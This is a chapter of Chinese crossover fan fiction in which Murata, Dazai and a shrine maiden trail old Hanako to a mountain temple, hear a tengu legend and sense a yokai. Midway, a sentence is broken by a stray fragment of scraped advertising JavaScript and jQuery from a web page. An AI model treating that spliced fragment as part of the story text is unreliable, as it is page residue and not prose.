“其实不用管我的，”太宰治继而说道。 村田：……又来了…… 他就知道，这人根本就是个行走的自杀装置。 “喂，自我厌弃的话也要有个度，”村田有些恼怒，“你以为我是那种看着同伴明明有危险却还能置之不顾的人吗？” 村田想起了遇见恶鬼的那个夜晚，一种无力的挫败感在心中涌现。 人类与恶鬼，力量的差距像是一条无法跨越的鸿沟，他只能看着曾经朝夕相处的大家一个个倒在自己的面前，而自己只能像下水道里的老鼠一样四处逃窜。 村田暗中握住了自己的右手……无论如何，他都不想要看到那样的画面了，他想要成为能够独当一面，保护自己的同伴的人…… 他已经不想再做逃兵了！ “村田当然不是那种人了。”太宰治肯定的话语打断了村田的思绪。 村田满意地点了点头：他就知道，在别人的眼中他是一个相当靠谱的存在啊！“所以你放心，我是不会让你陷入危险之中的。” 太宰治：“嗯嗯！” 他应和道，随后语调变得欢快起来：“那么现在就拜托村田大人保护保护我这个手无缚鸡之力的人类吧。” “没问题！”村田被奉承得心下飘飘然：“只要有我村田大人在，一切危险都能迎刃而解。” 说道兴奋处，村田甚至想要丢下手中的树枝，给太宰治展示一下自己的实力。 而后，他右手上的树枝被什么东西拉住了。 村田用力拉了一下，没拉动…… “干嘛，不过是区区妖怪而已，也敢在我村田大人面前……”，村田转过头去，在看到他身后的人之后，立马哑火了。 月见千里站在他的身后，神色莫名地看着他们……或者说，他…… “晚上不睡觉，盯着别人的房间做什么？”巫女小姐冷淡地问道。 太宰治卖队友卖得很是自然：“这些都是村田的主意，他硬是要在花子婆婆的屋前蹲守。” “我是被他拉过来的。”太宰治的语气很是无辜。 村田：…… 喂……听听这是人话吗？甩包要不要甩得这么自然？ 他就说太宰治怎么非要让他出来呢……合着他就是一个随时能背黑锅的？ 村田对太宰治此人的无耻程度再一次刷新了认知。 村田欲哭无泪，他正打算解释，却看见月见千里的神色有些微妙。 他这才意识到刚才太宰治的话语说得有多么不明不白。 坏了，他好像被月见小姐当成变态了！！！ 村田：“……” 好在月见千里并没有追究，她只是善意地提醒道：“早点回去休息吧，村田你已经连续两天一夜没有睡觉了，明天还要赶路。” “月见小姐，”村田被感动得热泪盈眶，本就对月见千里自带滤镜的他，心中更是冒起了七彩的小泡泡。 月见小姐不仅没有嫌弃自己的变态，还主动关心自己！（呸呸呸……他要解释一下，首先，他并不是变态！） “我这就回去睡觉，以后的事情以后再说！”村田已经将调查妖怪的事情完全抛之于脑后了。 面对村田晕乎乎的表情，太宰治只是意味不明地短促地笑了一声，却也并没有再说些什么。 就在大家都准备回到各自的房间，今晚似乎岁月静好，无事发生的时候…… “咯吱……”花子婆婆的房门被轻轻地推开。 回头回了一半的村田立刻想起了自己今晚的目的，屏住了呼吸向着花子婆婆的方向看去。 老人又是提着一盏灯，从屋子里面走了出来。 她蹑手蹑脚地关上房门，向四周扫视了一圈，恰巧村田他们站的角度很是微妙，所以他们并没有被老婆婆发现踪迹。 见到四周并无任何异常后，花子婆婆向着屋外走了出去。 “我就说吧，花子婆婆绝对有问题。”村田瞪大了眼睛，“现在月见小姐你们都看见了，这可容不得她抵赖了。” “我们一起跟上去，看看她到底要做些什么。” 月见千里：…… 事实上，巫女小姐对妖怪并不感兴趣，除妖的确不是她的职责，只要对方不将主意打在她的身上，她是乐意于与妖怪井水不犯河水的。 但现在看来这件事情是无法被轻易翻篇了。 因此月见千里也没有提出什么反驳的话语，默认了村田的提议。 在跟随花子婆婆上山的过程中，月见千里并没有见到村田所描绘的，那种奇怪诡异的画面。 没有漫山遍野的白雾，没有在黑夜里燃烧的鬼火，没有闪着红色光芒的乌鸦…… 花子婆婆也是以正常人的速度行走着，以至于他们就算与花子婆婆拉开距离，也很快就能赶上她的步伐。 一切都正常得不像话。 就连村田也开始怀疑昨夜的一切……是否都只是自己过于恐惧而产生的幻觉了。 不消两个时辰，他们便来到了山顶，在看到屹立在深山中的寺庙的时候，村田还处在对自己印象的怀疑之中。 昨夜的一切，更像是一场诡异荒诞的梦。 “是了，”村田突然想了起来，“高尾山上的确是有一个闻名遐迩的寺庙来着。” 他记得是:“高尾山药王院，供奉饭绳权限的地方。” 或许是因为报纸上刊登的“高尾山上有人失踪”的信息，又或者是“深山里会有恶鬼吃人”这样像是谣言又不是谣言的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 传言，再或者是由于霓虹国的动荡，新政府的建立，神权的旁落……等等一系列的理由，曾经鼎盛一时，香火旺盛的寺庙如今也渐渐淡出了人们的视线，以至于村田已经遗忘了这里还存在着一座历史悠久的寺庙。 村田的脑海里面涌现出了一种说不出道不明的遗憾。 “既然已经跟到了这里，不妨在这里上一炷香，或许，天狗大人也会因此保佑你们的平安。”花子婆婆沧桑的声音在黑夜里的山谷间回响，让村田他们为之一震。 被发现了…… 既然如此，他们也就没有了躲藏的理由。 “你一直知道我们跟在后面。”村田的语气中带着诧异。 “虽然我的确年纪大了，但还没有老眼昏花到三个大活人在我的身后晃荡却依然一无所知。”花子婆婆提着灯笑着说道。 “既然如此，你为什么任由我们跟在后面却不制止？或者说，如果一开始你说清楚了就不会有这样的误会了。”村田疑惑地问道。 “为什么要制止？”花子婆婆抬了抬眼皮，“像你们这样的人，得不到答案是不会善罢甘休的吧。若是能多一个人记得这里，对高尾山来说也算好事。” 村田：“……”他竟然无法反驳…… “您看上去像是有不少故事。”很少出声的太宰治似乎对花子婆婆有些兴趣，他笑着问道。 “故事……”花子婆婆冷哼一声，“你们这些人，哪个人没有故事？” “尤其是那位巫女小姐，”花子婆婆指了指月见千里：“身上的故事比起老婆子我，大概是只多不少吧。” 无故躺枪的月见千里：“……” “不过我也没有什么见不得人的故事，”花子婆婆话音一转，继而说道，“若是你们不嫌无聊的话，也可以当则天狗的轶闻来听一听。” 花子婆婆的故事并不复杂。 动乱的年代，世上少太平。 年轻的花子婆婆为了躲避战乱曾经四处迁徙，却被强盗追赶路过了高尾山，眼看一家人即将遭到强盗毒手命丧于此，却在突然之间，花子婆婆身后的一排排杉木纷纷倒了下来。 见此情景，强盗们大声嚷叫着“天狗来了，”随后四散而逃，花子婆婆一家也因此得已活命。 当花子婆婆他们想要下山的时候，更加怪异的事件发生了，那些杉木竟又站了起来，为他们让开了一条道路。 花子婆婆并不知道那到底是不是因为天狗的帮助，但既然那些强盗是这么说的，她也就这样认为了，况且高尾山本身就流传着许多有关天狗的传说。 为了感念天狗的恩德，他们就在山脚下安了家，日日夜夜都供奉着天狗。 故事到此便算是结束了。 花子婆婆从背上背着的包里拿出了供奉的道具，邀请月见千里一行人一起进入寺庙祭拜。 只是…… 刚刚进入寺庙，村田的神色立即变得凝重起来…… 他来过这里……绝对…… 这里，是那个妖怪的居所。 虽然昨夜他的视线受到限制，只隐约知道自己进入了一个房间，却不知那个房间到底是什么样子的。 但是……空气中弥漫着的血腥味，与昨夜他所闻到的如出一辙…… 可是…… 为什么寺庙里会有妖怪？ 每日前来供奉的花子婆婆真的没有发现这里的异常吗？ 又或者是……花子婆婆在说谎？